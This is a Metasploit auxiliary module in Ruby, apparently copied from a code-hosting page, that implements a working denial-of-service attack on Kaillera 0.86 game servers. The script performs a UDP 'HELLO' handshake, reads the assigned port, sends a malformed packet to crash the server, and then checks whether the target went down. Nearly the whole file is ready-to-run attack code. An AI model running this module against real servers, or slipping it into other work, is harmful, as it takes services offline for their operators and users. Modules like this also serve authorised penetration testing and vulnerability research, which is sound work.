75 lines
1.7 KiB
Ruby
75 lines
1.7 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Kaillera 0.86 Server Denial of Service' ,
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'Description' => %q{
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The Kaillera 0.86 server can be shut down by sending any malformed packet
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after the intial "hello" packet.
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},
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'Author' => ["Sil3nt_Dre4m"],
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'References' =>
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[
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[ 'URL', 'http://kaillerahacks.blogspot.com/2011/07/kaillera-server-086-dos-vulnerability.html' ]
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],
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'DisclosureDate' => 'Jul 2 2011'))
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register_options([
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Opt::RPORT(27888)
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])
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end
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def run
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#Send HELLO to target
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connect_udp
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print_status("Sending Crash request...")
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udp_sock.put("HELLO0.83\0")
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res = udp_sock.recvfrom(15)
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disconnect_udp
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if res[0] =~ /HELLOD00D([0-9]{1,5})/
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port = $1
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else print_status("Connection failed")
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return
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end
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#Send DOS packet
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connect_udp(global = true,'RPORT' => port)
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print_status("Sending DoS packet to #{rhost}:#{port}...")
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udp_sock.put("Kthxbai")
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disconnect_udp
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#Check is target is down
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connect_udp
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print_status("Checking target...")
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udp_sock.put("HELLO0.83\0")
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res = udp_sock.recvfrom(15)
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disconnect_udp
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if res[0] =~ /HELLO/
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print_error("DoS attempt failed. It apperas target is still up.")
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else
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print_good("Target is down")
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end
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end
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end
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